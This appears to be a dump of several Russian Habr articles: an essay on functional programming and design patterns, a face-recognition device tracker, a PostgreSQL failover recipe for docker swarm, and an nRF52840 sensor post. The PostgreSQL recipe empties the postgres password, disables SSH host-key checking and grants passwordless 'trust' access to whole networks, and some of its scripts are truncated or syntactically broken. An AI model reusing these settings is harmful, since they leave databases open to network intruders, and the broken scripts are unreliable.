Кроме значительного упрощения и сокращения кода этот подход даёт нам дополнительное преимущество – теперь мы можем легко создавать функции, параметризованные сразу несколькими стратегиями, что при обычном ОО подходе приводит к очень сложной структуре программы. Мы можем вообще не задавать отдельные имена для стратегий с помощью такой возможности, как анонимные функции, если они достаточно просты в реализации. Например для сортировки данных в ФП можно использовать ФВП sort и в качестве параметра передавать ей не тип, который реализует интерфейс IComparer, в котором реализован метод сравнения, как это делается в ООП, а просто саму операцию сравнения:
```
let a = sort (<) data
```
#### Выводы
1. Правильный выбор парадигмы в соответствии с классом решаемой задачи зачастую может быть критическим фактором для успешности её решения. Если ваша задача относится к классу т.н. behavior-centric, стоит задуматься об использовании функционального подхода.
2. Паттерны Command и Strategy — это ограниченная реализация функций высшего порядка
3. Не обязательно переходить на чисто функциональный язык, чтобы использовать преимущества решения с помощью ФВП — большинство современных мейнстримовых языков в той или иной мере поддерживают ФВП.
В последнее время появилось большое количество языков, в одинаковой мере сочетающих ОО и функциональную парадигму, многие ОО языки начали приобретать функциональные возможности. Надеюсь, что кому-то эта статья поможет лучше использовать новые возможности их любимых языков программирования. Успехов в работе!
#### Источники
1. [Criminal Overengineering](http://coderoom.wordpress.com/2010/06/23/criminal-overengineering/)
2. [Architecture, Design, Implementation](http://www.eden-study.org/articles/2003/icse03.pdf). Amnon H. Eden, Rick Kazman. Portland: б.н., 2003. 25th International Conference on Software Engineering — ICSE
3. [Banking Firm Uses Functional Language to Speed Development by 50 Percent.](http://www.microsoft.com/casestudies/Case_Study_Detail.aspx?casestudyid=4000006794) Microsoft Case Studies. март 2010 г.
4. Bishop, Judith. C# 3.0 Design Patterns. Sebastopol, California: O’Reilly, 2008.
5. Tomas Petricek, Jon Skeet. Functional Programming for the Real World. б.м.: Manning Publications, 2010.
6. Gabriel, Richard P. [Objects Have Failed Slides](http://www.dreamsongs.com/Files/ObjectsHaveFailedSlides.pdf) DreamSongs.com.
7. Smith, Chris. Programming F#. Sebastopol, California: O’Reilly, 2010.
**UDP:**
[alexeyrom](https://habrahabr.ru/users/alexeyrom/) написал очень полезный комментарий, с его согласия выношу в тело поста, чтобы было видно:
«Норвиг в 1996 году [рассматривал паттерны в Lisp и Dylan](http://norvig.com/design-patterns/ppframe.htm). Собственно, результат аналогичный (многие паттерны становятся тривиальными или существенно упрощаются), но на более богатом материале.» | https://habr.com/ru/post/120375/ | null | ru | null |
# Как распознавание лиц помогает находить тестовые телефоны
Привет, хабровчане! В EastBanc Technologies ведётся большое количество проектов, связанных с мобильной разработкой. В связи с чем необходим целый зоопарк устройств для тестирования на всех этапах. И, что характерно, каждый отдельный девайс постоянно оказывается нужен самым разным людям, а найти его даже в одном отделе мобильной разработки из нескольких десятков человек — это целая история. Не говоря уже о том, что есть тестировщики, дизайнеры, PM’ы, в конце концов!
И чтобы не потерять телефон, а четко знать, где он и с кем, мы используем онлайн-базу, которая распознает сотрудников по лицам. Сейчас расскажем, как мы к этому пришли и реализовали её.
Исторический контекст
---------------------
У нас была доска с «карточками» устройств с основной информацией и местом под магнитик, обозначающим сотрудника. Каждый отмечался о взятии устройства.
Эта система имеет свои недостатки — не критичные, но в целом неудобные:
* Магнитики не так легко переместить с одного места на другое.
* Чтобы посмотреть на такую доску, обязательно придётся идти в другой кабинет.
* А ещё кому-то может понадобиться сразу много устройств… А значит, нужно несколько магнитиков на одного сотрудника.
* Ах да, ещё сотрудники иногда увольняются и приходят новые, на которых тоже нужно сделать магнитики.
#### Мобильное приложение
В компании, которая занимается автоматизацией бизнес-процессов, использовать описанное выше «аналоговое» решение — не очень здорово. Естественно, мы решили автоматизировать задачу поиска нужного устройства. Первым шагом стало написание мобильного приложения, которое умеет определять и сообщать о своем местоположении в комнатах по Wi-Fi точкам доступа. Попутно для удобства наделили девайсы умением сообщать на сервер о версии ОС, а также показывать такую важную характеристику, как заряд батареи.
Казалось бы, задача решена. Смотришь на список в базе данных, где последний раз устройство видело Wi-Fi, идёшь туда и…
В эксплуатации оказалось, что не всё так просто. Мы установили приложение на тестовые устройства и поработали с ним несколько месяцев. Оказалось, что такой вариант удобен, но тоже не идеален.
Устройства разряжаются, просто выключаются, точки доступа Wi-Fi переставляются из одного места в другое, а геолокация сама по себе говорит только о том, что устройство находится в офисе. Спасибо, капитан!
Можно, конечно, пытаться оптимизировать существующую систему, но почему не переизобрести её на основе технологий ХХI века? Сказано — сделано.
Как мы хотели, чтобы это было
-----------------------------
Мы придумали концепт системы, которая бы распознавала сотрудников по лицам, тестовые устройства — по специальным меткам, запрашивала бы подтверждение смены статуса устройства, а потом вносила изменения в онлайн-базу, которую любой сотрудник может посмотреть, не вставая с кресла.
Распознавание лиц
-----------------
Распознавание лиц в целом решенная задача в 2018 году. Поэтому мы не стали изобретать велосипед и пытаться обучать собственные модели, а воспользовались готовым решением. Самым удобным вариантом показался модуль [**FaceRecognition**](https://github.com/ageitgey/face_recognition), т.к. он не требует дообучения и работает весьма быстро даже без ускорения на GPU.
С помощью функции **face\_locations** на фотографиях сотрудников обнаруживались лица, а с помощью **face\_encodings** из них извлекались признаки лица конкретного сотрудника.
Полученные данные собирались в базу. Для определения конкретного сотрудника с помощью функции **face\_distance** считалась «разница» между кодировкой обнаруженного сотрудника и кодировками из базы.
В целом, на этом этапе можно было пойти дальше и создать классификатор, например, на основе [KNN](https://en.wikipedia.org/wiki/K-nearest_neighbors_algorithm), чтобы система была менее чувствительна к динамике лиц сотрудников. Однако на практике это требует значительно больших временных затрат. Да и банального усреднения кодировки лица человека между той, что сейчас в базе, и той, которую система обнаружила для смены статуса устройства, оказалось уже достаточно, чтобы на практике избегать накопления ошибки.
**Код распознавания лиц**
```
face_locations = face_recognition.face_locations(rgb_small_frame)
face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)
face_names = []
for face_encoding in face_encodings:
matches = face_recognition.face_distance(
known_face_encodings, face_encoding)
name = "Unknown"
if np.min(matches) <= 0.45:
best_match_index = np.argmin(matches)
name = known_face_info[str(best_match_index)]['name']
else:
best_match_index = None
```
Распознавание устройств
-----------------------
Изначально возникла мысль использовать для распознавания устройств [QR-коды](https://ru.wikipedia.org/wiki/QR-%D0%BA%D0%BE%D0%B4), в которые вносить заодно и информацию об устройстве. Однако для устойчивого распознавания QR-кода его приходилось подносить очень близко к камере, что неудобно.
В результате возникла мысль об использовании маркеров дополненной реальности. Они несут меньше информации, зато гораздо более устойчиво распознаются. В ходе экспериментов маркер размером в 30 миллиметров распознавался камерой при небольших отклонениях от вертикали (3-5 градусов) на расстоянии до двух с половиной метров.
Такой вариант выглядел уже куда лучше. Из всего множества маркеров дополненной реальности были выбраны [ARuco](https://www.sciencedirect.com/science/article/pii/S0262885618300799), т.к. все необходимые инструменты для работы с ними присутствуют в поставке [opencv-contrib-python](https://docs.opencv.org/3.1.0/d5/dae/tutorial_aruco_detection.html).
**Код распознавания маркеров ARuco**
```
self.video_capture = cv2.VideoCapture(0)
ret, frame = self.video_capture.read()
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
markers = cv2.aruco.detectMarkers(gray, self.dictionary)
```
В итоге, каждому устройству был присвоен числовой индекс, с которым сопоставлялся и маркер с этим индексом.
Дело в шляпе?
-------------
Казалось бы, мы научились распознавать устройства и лица, работа сделана. Фанфары, овации! Что ещё может быть нужно?
На самом деле, работа только начинается. Теперь все компоненты системы нужно заставить стабильно и быстро работать «на бою».
Нужно оптимизировать затраты ресурсов сервера в idle’е, продумать юзкейсы и понять, как это вообще должно выглядеть графически.
Интерфейс
---------
Едва ли не самым важным пунктом в разработке подобных систем является интерфейс. Кто-то возможно будет спорить, но пользователь — центральный элемент в такой ситуации.
Максимально быстро можно реализовать фронтенд-часть с помощью [Tkinter](https://docs.python.org/3/library/tkinter.html).
**Несколько замечаний о Tkinter*** Обращайте внимание на то, в каких единицах выставляются отступы/размеры элементов (относительных или абсолютных).
* Помните, что относительные и абсолютные единицы можно использовать вместе (их значения просто просуммируются).
* Параметр
```
.attributes("-fullscreen", True)
```
позволяет сделать однооконное приложение, разворачивающееся на весь экран, чтобы не смущать пользователей элементами интерфейса системы.
Интерфейс состоит из карточек с информацией об устройстве и пользователе, использующем в текущий момент это устройство. БОльшую часть экрана занимает каталог карточек — основной инструмент учета. Сверху находится фильтр, с помощью которого можно отфильтровать каталог по платформе или версии операционной системы.
#### Вот ключевые компоненты интерфейса:
* **Устройство**
На экран выводятся карточки устройств с указанием версии операционной системы, названия и ID устройства, а также пользователя, на котором это устройство сейчас зарегистрировано.
* **Фотофиксирование**
Справа находится блок управления, где выводится изображение с веб-камеры, а также кнопки для регистрации и редактирования персональной информации.
Изображение выводим, чтобы дать пользователю обратную связь — ты точно попал в экран меткой устройства.
* **Выбор версии ОС**
Мы сделали список с выбором интересующей версии ОС, т.к. часто для тестирования нужен не конкретный девайс, а определенная версия Android или iOS. Фильтр версий сделан горизонтальным, чтобы сэкономить место и чтобы список версий был доступен без прокрутки, на одном экране.
Оптимизация
-----------
Один проход любого компонента системы не занимает слишком много времени. Однако, если запустить распознавание маркеров и лиц одновременно, то попытка распознать все 30 кадров в секунду, предоставляемых камерой, приведет к полному исчерпанию ресурсов компьютера без GPU.
При этом понятно, что 99 % времени система будет производить эту работу вхолостую.
Чтобы этого избежать, были приняты следующие оптимизационные решения:
1. В обработку подаётся лишь каждый восьмой кадр.
**Код**
```
if self.lastseen + self.rec_threshold > time.time() or self.frame_number != 8:
ret, frame = self.video_capture.read()
self.frame_number += 1
if self.frame_number > 8:
self.frame_number = 8
return frame, None, None, None
```
Задержка реакции системы повышается примерно до 8/30 секунды, при этом время реакции человека — примерно одна секунда. Соответственно, такая задержка всё ещё не будет заметной для пользователя. А мы уже в восемь раз снизили нагрузку на систему.
2. Сначала в кадре ищется маркер устройства, и лишь при его обнаружении запускается распознавание лиц. Так как поиск маркеров в кадре примерно в 300 раз менее затратен, чем поиск лиц, мы решили, что в режиме ожидания будем проверять только наличие маркера.
3. Чтобы уменьшить «тормоза» при поиске лиц, когда лиц на изображении нет, в функции face\_locations был отключен параметр number\_of\_time\_to\_upsample.
*face\_locations = face\_recognition.face\_locations(rgb\_small\_frame, number\_of\_times\_to\_upsample=0)*
Благодаря этому время обработки кадра, на котором нет лиц, сравнялось со временем обработки кадра, где лица легко обнаруживаются.
Что в итоге?
------------
На текущий момент, система успешно развернута на подвернувшемся под руку MacMini Late 2009, на двух ядрах Core 2 Duo. В рамках тестирования, она вполне успешно работала даже на одном виртуальном ядре с 1024 мегабайтами оперативной и 4 гигабайтами постоянной памяти в контейнере Docker. К MacMini подключили сенсорный дисплей, чтобы внешний вид стал минималистичным.
Сейчас даже те пользователи, которые не пользовались старой доской, с энтузиазмом и улыбкой регистрируют на себя устройства, а случаев безуспешных поисков стало намного меньше!
Что дальше?
-----------
В текущей системе, несомненно, ещё много моментов, которые можно и хочется улучшить:
* Сделать так, чтобы элементы управления ОС не проявлялись при появлении диалоговых окон (сейчас это messagebox из пакета Tkinter).
* Разнести вычисления и запросы к серверу в разные потоки с обработкой интерфейса (сейчас они выполняются в основном потоке, mainloop Tkinter’а, что замораживает интерфейс в момент отправки запросов в онлайн-базу).
* Привести интерфейс к одному дизайну с другими корпоративными ресурсами.
* Сделать полноценный веб-интерфейс для удаленного просмотра данных.
* Использовать распознавание голоса для подтверждения/отмены действий и заполнения текстовых полей.
* Реализовать регистрацию нескольких устройств одновременно.
**P.S. А вот так это работает**
*Видео записано на бета-версии GUI* | https://habr.com/ru/post/426437/ | null | ru | null |
# Рецепты PostgreSQL: auto-failover и auto-rejoin в docker swarm
Для приготовления auto-failover и auto-rejoin в docker swarm нам понадобится [docker](https://www.docker.com), [postgres](https://www.postgresql.org), [repmgr](https://repmgr.org), [pgbouncer](https://www.pgbouncer.org), [runit](http://smarden.org/runit) и [gluster](https://www.gluster.org). Можно также воспользоваться [готовым образом](https://hub.docker.com/r/rekgrpth/repmgr).
Для начала на двух хостах (лучше железных) docker1 и docker2 организуем docker swarm так, чтобы оба были менеджерами.
Также, на оба хоста установим распределённую файловую систему glusterfs и подмонтируем его на обоих хостах в fstab так
```
localhost:/gfs /mnt/gfs glusterfs defaults,_netdev,backupvolfile-server=localhost 0 0
```
Потом на обоих хостах создадим раздел
```
docker volume create repmgr
```
и сеть
```
docker network create --attachable --driver overlay docker
```
Затем соберём образ с помощью докер-файла:
**Dockerfile**
```
FROM alpine
RUN set -ex \
&& apk add --no-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing --virtual .locales-rundeps \
musl-locales \ # добавлям локали (это не является необходимым, но для красоты картины пусть будет)
&& apk add --no-cache --virtual .postgresql-rundeps \
openssh-client \ # добавляем ssh-клиента (это не является необходимым, но может понадобиться для генерации ключей)
openssh-server \ # добавляем ssh-сервер (это не является необходимым, но требуется для switchover)
pgbouncer \ # добавляем балансировщик
postgresql \ # добавляем базу
postgresql-contrib \ # добавляем различные полезные расширения (это не является необходимым, но для красоты картины пусть будет)
repmgr \ # добавляем repmgr
repmgr-daemon \ # и сервис для него
rsync \ # добавляем синхронизатор (это не является необходимым, но для красоты картины пусть будет)
runit \ # добавляем лёгкий супервизор
shadow \ # добавляем управление пользователями
tzdata \ # добавляем зоны (это не является необходимым, но для красоты картины пусть будет)
&& echo done
ADD bin /usr/local/bin # добавляем скрипты
ADD service /etc/service # добавляем сервисы для супервизора
CMD [ "runsvdir", "/etc/service" ] # будем запускать супервизор
ENTRYPOINT [ "docker_entrypoint.sh" ] # но после входа
ENV HOME=/var/lib/postgresql
ENV GROUP=postgres \
PGDATA="${HOME}/pg_data" \
USER=postgres
VOLUME "${HOME}"
WORKDIR "${HOME}"
RUN set -ex \
&& sed -i -e 's|#PasswordAuthentication yes|PasswordAuthentication no|g' /etc/ssh/sshd_config \ # запрещаем вход по паролю
&& sed -i -e 's|# StrictHostKeyChecking ask| StrictHostKeyChecking no|g' /etc/ssh/ssh_config \ # не будем ничего проверять
&& echo " UserKnownHostsFile=/dev/null" >>/etc/ssh/ssh_config \ # и не будем ничего никуда добавлять
&& sed -i -e 's|postgres:!:|postgres::|g' /etc/shadow \ # разрешаем вход пользователю базы
&& chmod -R 0755 /etc/service /usr/local/bin \
&& echo done
```
Теперь запускаем по сервису на каждом хосте
**service1.sh**
```
docker service create \
--constraint node.hostname==docker1 \ # размещаем контейнер на первом хосте
--env GROUP_ID="$(id -g)" \ # задаём идентификатор группы (это не является необходимым и сделано для удобства)
--env LANG=ru_RU.UTF-8 \ # задаём кодировку (это не является необходимым, но для красоты картины пусть будет)
--env TZ=Asia/Yekaterinburg \ # задаём зону (это не является необходимым, но для красоты картины пусть будет)
--env USER_ID="$(id -u)" \ # задаём идентификатор пользователя (это не является необходимым и сделано для удобства)
--hostname tasks.repmgr1 \ # задаём хост
--mount type=bind,source=/etc/certs,destination=/etc/certs,readonly \ # монтируем папку с сертификатами (это не является необходимым, но для красоты картины пусть будет)
--mount type=bind,source=/mnt/gfs/repmgr,destination=/var/lib/postgresql/gfs \ # монтируем распределённую файловую систему
--mount type=volume,source=repmgr,destination=/var/lib/postgresql \ # монтируем раздел
--name repmgr1 \ # задаём имя сервиса
--network name=docker \ # используем сеть
--publish target=5432,published=5432,mode=host \ # публикуем порты базы
--publish target=5433,published=5433,mode=host \ # публикуем порты балансировщика
--replicas-max-per-node 1 \ # разрешаем только один конейнер на хосте
rekgrpth/repmgr # берём готовый образ
```
На втором хосте запускаем второй сервис также, только вместо docker1 пишем docker2 и вместо repmgr1 пишем repmgr2
**Если научить docker резолвить hostname конейеров**
[так](https://github.com/moby/libnetwork/issues/2549), то можно запустить один сервис сразу на обоих хостах
```
docker service create \
--env GROUP_ID="$(id -g)" \ # задаём идентификатор группы (это не является необходимым и сделано для удобства)
--env LANG=ru_RU.UTF-8 \ # задаём кодировку (это не является необходимым, но для красоты картины пусть будет)
--env TZ=Asia/Yekaterinburg \ # задаём зону (это не является необходимым, но для красоты картины пусть будет)
--env USER_ID="$(id -u)" \ # задаём идентификатор пользователя (это не является необходимым и сделано для удобства)
--hostname repmgr-{{.Node.Hostname}} \ # задаём хост
--mode global \ # запускаем по одному контейнеру на каждом хосте
--mount type=bind,source=/etc/certs,destination=/etc/certs,readonly \ # монтируем папку с сертификатами (это не является необходимым, но для красоты картины пусть будет)
--mount type=bind,source=/mnt/gfs/repmgr,destination=/var/lib/postgresql/gfs \ # монтируем распределённую файловую систему
--mount type=volume,source=repmgr,destination=/var/lib/postgresql \ # монтируем раздел
--name repmgr \ # задаём имя сервиса
--network name=docker \ # используем сеть
--publish target=5432,published=5432,mode=host \ # публикуем порты базы
--publish target=5433,published=5433,mode=host \ # публикуем порты балансировщика
rekgrpth/repmgr # берём готовый образ
```
Итак, вход в конейнер
**/usr/local/bin/docker\_entrypoint.sh**
```
#!/bin/sh
exec 2>&1
set -ex
if [ -n "$GROUP" ] && [ -n "$GROUP_ID" ] && [ "$GROUP_ID" != "$(id -g "$GROUP")" ]; then # если задана группа и задан идентификатор группы и он другой, то
groupmod --gid "$GROUP_ID" "$GROUP" # заменим идентификатор группы
chgrp "$GROUP_ID" "$HOME" # и обновим группу у домашней директории
fi
if [ -n "$USER" ] && [ -n "$USER_ID" ] && [ "$USER_ID" != "$(id -u "$USER")" ]; then # если задан пользователь и задан идентификатор пользователя и он другой, то
usermod --uid "$USER_ID" "$USER" # заменим идентификатор пользователя
chown "$USER_ID" "$HOME" # и обновим пользователя у домашней директории
fi
exec "$@" # и выполняем команду
```
Супервизор запускает следующие сервисы
**1) /etc/service/ssh**
Этот сервис не является необходимым, но требуется для switchover. Супервизор выполняет файл
**/etc/service/ssh/run**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
ssh-keygen -A # генерируем ключи хоста
exec /usr/sbin/sshd -D -e # запускаем ssh-сервер
```
Также, супервизор запускает логер для этого сервиса (это не является необходимым, но так удобнее различать логи разных сервисов)
**/etc/service/ssh/log/run**
```
#!/bin/sh
exec 2>&1
exec sed 's|^|ssh: |'
```
**2) /etc/service/postgres**
Супервизор выполняет файл
**/etc/service/postgres/run**
```
#!/bin/sh
exec 2>&1
install -d -m 0750 -o "$USER" -g "$GROUP" "$PGDATA" # устанавливаем домашнюю директорию базы
install -d -m 1775 -o "$USER" -g "$GROUP" /run/postgresql /var/log/postgresql # устанавливаем директории запуска и логов
rm -f /run/postgresql/postgres.run # удаляем файл блокировки
realpath "$0"
set -ex
chmod 755 supervise
chown "$USER":"$GROUP" supervise/ok supervise/control supervise/status # разрешаем управлять сервисом пользователю
rm -f "$PGDATA/postmaster.pid" # удаляем pid
primary="$(test -f "$HOME/gfs/primary" && cat "$HOME/gfs/primary")" # получаем имя хоста мастера
test -n "$primary" || echo -n "$(hostname)" >"$HOME/gfs/primary" # если мастер не задан, то мастер - текущий хост
primary="$(test -f "$HOME/gfs/primary" && cat "$HOME/gfs/primary")" # получаем имя хоста мастера
test -n "$primary" # удостоверяемся, что теперь мастер задан
chown "$USER":"$GROUP" "$HOME/gfs/primary" # правим права
if [ "$primary" != "$(hostname)" ]; then # если текущий хост не мастер, то
test -d "$PGDATA/base" || /etc/service/postgres/standby # если нет директории базы - создаём её
test -f "$PGDATA/standby.signal" || /etc/service/postgres/rejoin # если текущий хост раньше был мастером, то переключаем его на новый мастер
else # иначе (текущий хост - мастер)
test -d "$PGDATA/base" || /etc/service/postgres/primary # если нет директории базы - создаём её
fi
test -d "$PGDATA/base" # удостоверяемся, что теперь есть директория базы
exec chpst -u "$USER":"$GROUP" -L /run/postgresql/postgres.run postmaster # запускаем базу
```
Также, супервизор запускает логер для этого сервиса (это не является необходимым, но так удобнее различать логи разных сервисов)
**/etc/service/postgres/log/run**
```
#!/bin/sh
exec 2>&1
exec sed 's|^|postgres: |'
```
Создаём директорию базы не мастера так
**/etc/service/postgres/standby**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
chpst -u "$USER":"$GROUP" /etc/service/repmgr/conf # создаём конфигурацию для repmgr
primary="$(test -f "$HOME/gfs/primary" && cat "$HOME/gfs/primary")" # получаем имя хоста мастера
test -n "$primary" # удостоверяемся, что мастер задан
chpst -u "$USER":"$GROUP" repmgr standby clone --config-file="$HOME/repmgr.conf" --verbose --fast-checkpoint --dbname="host=$primary user=repmgr dbname=repmgr connect_timeout=2" # клонируем базу из мастера
```
Переключаем старый мастер на новый так
**/etc/service/postgres/rejoin**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
primary="$(test -f "$HOME/gfs/primary" && cat "$HOME/gfs/primary")" # получаем имя хоста мастера
test -n "$primary" # удостоверяемся, что мастер задан
chpst -u "$USER":"$GROUP" pg_ctl --options="-c listen_addresses=''" --wait start # запускаем базу локально (это нужно для pg_rewind)
chpst -u "$USER":"$GROUP" pg_ctl --wait --mode=fast stop # выключаем базу (это нужно для pg_rewind)
chpst -u "$USER":"$GROUP" repmgr node rejoin --config-file="$HOME/repmgr.conf" --verbose --force-rewind --no-wait --dbname="host=$primary user=repmgr dbname=repmgr connect_timeout=2" || mv -f "$PGDATA" "${PGDATA}_$(date "+%F %T")" # переключаем базу на новый мастер (в случае неудачи - сохраняем базу и будем клонировать из мастера)
```
Создаём директорию базы мастера так
**/etc/service/postgres/primary**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
/etc/service/postgres/init # инициализируем базу
/etc/service/repmgr/init # инициализируем repmgr
```
Инициализируем базу так
**/etc/service/postgres/init**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
cd "$PGDATA" && chpst -u "$USER":"$GROUP" initdb # инициализируем базу
chpst -u "$USER":"$GROUP" /etc/service/postgres/conf # дополняем конфигурацию базы
chpst -u "$USER":"$GROUP" /etc/service/postgres/hba # дополняем файл доступов
```
Дополняем конфигурацию базы так
**/etc/service/postgres/conf**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
cat >>"$PGDATA/postgresql.conf" <
```
Дополняем файл доступов так
**/etc/service/postgres/hba**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
echo >>"$PGDATA/pg_hba.conf"
ip -o -f inet addr show | awk '/scope global/ {print $4}' | sed -E 's|.\d+/|.0/|' | while read -r net; do # для всех локальных сетей
echo "host all all $net trust" # разрешаем все соединения
done >>"$PGDATA/pg_hba.conf"
```
**3) /etc/service/repmgr**
Супервизор выполняет файл
**/etc/service/repmgr/run**
```
#!/bin/sh
exec 2>&1
install -d -m 1775 -o "$USER" -g "$GROUP" /run/postgresql # устанавливаем директории запуска
rm -f /run/postgresql/repmgr.run # удаляем файл блокировки
test -f /run/postgresql/postgres.run || exit $? # удостоверяемся, что запущен сервис базы
realpath "$0"
set -ex
chmod 755 supervise
chown "$USER":"$GROUP" supervise/ok supervise/control supervise/status # разрешаем управлять сервисом пользователю
chpst -u "$USER":"$GROUP" pg_ctl status # удостоверяемся, что запущен база
primary="$(test -f "$HOME/gfs/primary" && cat "$HOME/gfs/primary")" # получаем имя хоста мастера
test -n "$primary" # удостоверяемся, что мастер задан
if [ "$primary" != "$(hostname)" ]; then # если текущий хост не мастер, то
test -f "$HOME/repmgr.conf" || /etc/service/repmgr/standby # если не задана конфигурация, то задаём её
chpst -u "$USER":"$GROUP" repmgr standby register --config-file="$HOME/repmgr.conf" --verbose --force # принудительно регистрируемся как не мастер
else # иначе (текущий хост - мастер)
test -f "$HOME/repmgr.conf" || /etc/service/repmgr/primary # если не задана конфигурация, то задаём её
test ! -f "$PGDATA/standby.signal" || /etc/service/repmgr/promote # если текущий хост раньше был не мастером, то превращаем его в мастер
chpst -u "$USER":"$GROUP" repmgr primary register --config-file="$HOME/repmgr.conf" --verbose --force # принудительно регистрируемся как мастер
fi
exec chpst -u "$USER":"$GROUP" -L /run/postgresql/repmgr.run repmgrd --config-file="$HOME/repmgr.conf" --verbose --daemonize=false # запускаем сервис repmgr
```
Также, супервизор запускает логер для этого сервиса (это не является необходимым, но так удобнее различать логи разных сервисов)
**/etc/service/repmgr/log/run**
```
#!/bin/sh
exec 2>&1
exec sed 's|^|repmgr: |'
```
Задаём конфигурацию не мастера так
**/etc/service/repmgr/standby**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
chpst -u "$USER":"$GROUP" /etc/service/repmgr/conf # задаём конфигурацию
```
Задаём конфигурацию мастера так
**/etc/service/repmgr/primary**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
chpst -u "$USER":"$GROUP" createuser --superuser repmgr # создаём пользователя
chpst -u "$USER":"$GROUP" createdb repmgr --owner=repmgr # создаём базу
chpst -u "$USER":"$GROUP" /etc/service/repmgr/conf # задаём конфигурацию
```
Превращаем не мастер в мастер так
**/etc/service/repmgr/promote**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
chpst -u "$USER":"$GROUP" repmgr standby promote --config-file="$HOME/repmgr.conf" --verbose # превращаем не мастер в мастер
```
Задаём конфигурацию так
**/etc/service/repmgr/conf**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
cat >"$HOME/repmgr.conf" <
```
Инициализируем repmgr так
**/etc/service/repmgr/init**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
chpst -u "$USER":"$GROUP" /etc/service/repmgr/hba # дополняем файл доступа базы
chpst -u "$USER":"$GROUP" cat >>"$PGDATA/postgresql.conf" <
```
Дополняем файл доступа базы так
**/etc/service/repmgr/hba**
```
#!/bin/sh
exec 2>&1
realpath "$0"
set -ex
echo >>"$PGDATA/pg_hba.conf"
ip -o -f inet addr show | awk '/scope global/ {print $4}' | sed -E 's|.\d+/|.0/|' | while read -r net; do # для всех локальных сетей
echo "host replication repmgr $net trust" # разрешаем репликацию для repmgr
echo "host repmgr repmgr $net trust" # разрешаем repmgr для repmgr
done >>"$PGDATA/pg_hba.conf"
cat >>"$PGDATA/pg_hba.conf" <
``` | https://habr.com/ru/post/498132/ | null | ru | null |
# Мини датчик света и удара | nRF52840
В сегодняшней статье хочу расказать о новым датчике освещенности и вибрации. Датчик работает на модуле E73-2G4M08S1C(nRF52840). Поводом к освоению МК стало довольно несложное добавление поддержки в Arduino IDE на основе библиотеки Sandeep Mistry, небольшая стоимость, отличные характеристики и возможность в дальнейшем безболезненно перейти с MySensors например на ZigBee :)
Потребность в таком проекте возникла с появлением в моем доме рулонной шторы :). Нужно было чтобы контроллер рулонной шторы получал данные об уровне освещенности непосредственно с окна, штору на котором этот контроллер контролирует.
Первоначально планировал использовать сенсор BH1750FVI, характеристики данного сенсора устраивали, он не раз ранее применялся в других моих diy проектах. Но в какой-то момент при обсуждении всяких сенсоров кто-то предложил присмотреться к сенсору MAX44009. Я присмотрелся и с этого момента больше никогда не вспоминал про BH1750FVI.
**Характеристики MAX44009:**
* Диапазон питающих напряжений 1,7-3,6 В,
* Cверхнизкий рабочий ток — 0,65 мкА (ниже тока в режиме Power Down у многих аналогичных продуктов),
* Широкий 22-разрядный динамический диапазон 0,045-188000,
* Наличие функции прерывания, возможность непрерывно контролировать уровень освещенности, и формировать сигнал прерывания для МК при превышении заданных порогов.
Так же захотелось универсальности или какого-то немного расширенного функционала, немного подумав решил добавить в проект акселерометр который бы работал как датчик вибрации. Это позволит добавить охранный функционал датчику. В моем случае на основе события с датчика будет срабатывать сценарий в УД имитирующий присутствие в доме(включать свет в комнатах), при активированном режиме — никого нет дома. В целом датчик можно использовать и как самостоятельный датчик вибрации и удара, можно напаять только датчик света или только акселерометр. Акселерометр так же можно перепрограммировать на распознавания тапов, поворотов и тп.
В качестве акселерометра был выбран сенсор LIS2DW12 это один из самых экономичных акселерометров на рынке, если не самый экономичный.
**Характеристики LIS2DW12:**
* Диапазон питающих напряжений 1.62-3.6 В,
* 50 нA в режиме ожидания,
* 1 мкA в режиме пониженного энергопотребления,
* Наличие функции прерывания, возможность непрерывной работы сенсора и формирование сигнала прерывания для МК при превышении заданных порогов.
Предвидя возможные проблемы у братьев ардуинщиков с запуском этой модели акселерометра из-за полного отсутствие готовых Arduino библиотек для LIS2DW12 позднее была добавлена поддержка другой модели акселерометра LIS2DH12 со схожими характеристиками, но более высоким потреблением в режиме пониженного энергопотребления — 2мкА. Для акселерометров LIS2DH12 есть неплохие Arduino библиотеки.
Питается датчик освещенности от батарейки CR2032.
Многие кто уже использует проект MySensors для построения своего Умного Дома наверное знают о неоптимальной логике работы MySensors на батарейных устройствах. Постоянная отправка презентаций при перезагрузке устройства, неоптимальный режим автоматического восстановления работы устройств в сети, неоптимальное потребление при активированных прерываниях в функции сна, вообще в целом само наличие только двух прерываний во сне. Все обстоятельства как специально намекают на то что основатели проекта Майсенсорс плохо относятся к батарейкам :)
В этом проекте я постарался минимизировать эти недостатки.
Самое основное с чем хотелось разобраться это с прерываниями. Стандартно при активации прерываний в функции сна, МК nRF52 начинает потреблять +10мКА к потреблению самого МК (от 1.4мкА у nRF52810-52811 и до 4.7мкА у nRF52832-52840). Всего доступно 2 прерывания.
```
int8_t sleep(const uint8_t interrupt1, const uint8_t mode1, const uint8_t interrupt2, const uint8_t mode2, const uint32_t sleepingMS = 0, const bool smartSleep = false);
```
Ранее в поисках решений оптимизации потребления во сне, была реализована возможность использования прерываний на встроенном низко потребляющем компараторе, потребление во сне было уже не +10мкА, а в районе +1 мкА, но прерывание возможно было использовать только одно. В принципе не считая неудобство в коде(обработка сигналов с дополнительных пинов) и лишних элементов на плате(диоды) это было хорошее решение. Но хотелось еще лучше.
